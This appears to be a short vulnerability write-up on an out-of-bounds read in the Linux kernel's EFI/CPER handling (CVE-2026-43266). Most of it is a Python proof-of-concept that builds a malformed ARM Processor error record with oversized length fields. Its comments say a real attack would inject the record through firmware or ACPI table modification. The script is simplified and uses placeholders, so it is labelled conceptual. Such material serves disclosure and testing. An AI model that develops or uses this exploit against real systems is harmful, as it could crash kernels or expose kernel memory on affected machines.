Linux内核EFI/CPER模块越界读取漏洞 (CVE-2026-43266)

import struct # Conceptual PoC to generate a malicious ARM Processor CPER record # based on the description: 67 bytes total, huge section_length. def create_malicious_cper(): # Header placeholder (simplified) record_header = b'\x00' * 20 # Section Type: ARM Processor Error (GUID placeholder) section_type = b'ARM PROC ERR ' # Malicious Section Length: 854918320 (0x33063210) # This value is too big for the buffer section_length = struct.pack('<I', 854918320) # ERR_INFO_NUM: 46198 (0xB476) err_info_num = struct.pack('<H', 46198) # MIDR from log midr = struct.pack('<Q', 0xff304b2f8476870a) # Assemble the record structure (simplified representation) # In a real exploit, this would be injected via firmware or ACPI table modification payload = record_header + section_type + section_length + err_info_num + midr print(f"Generated Malicious Record Payload (Length: {len(payload)})") print(f"Section Length field: {854918320}") print(f"ERR_INFO_NUM field: {46198}") # This data, if processed by a vulnerable kernel, triggers the OOB read. return payload if __name__ == "__main__": create_malicious_cper()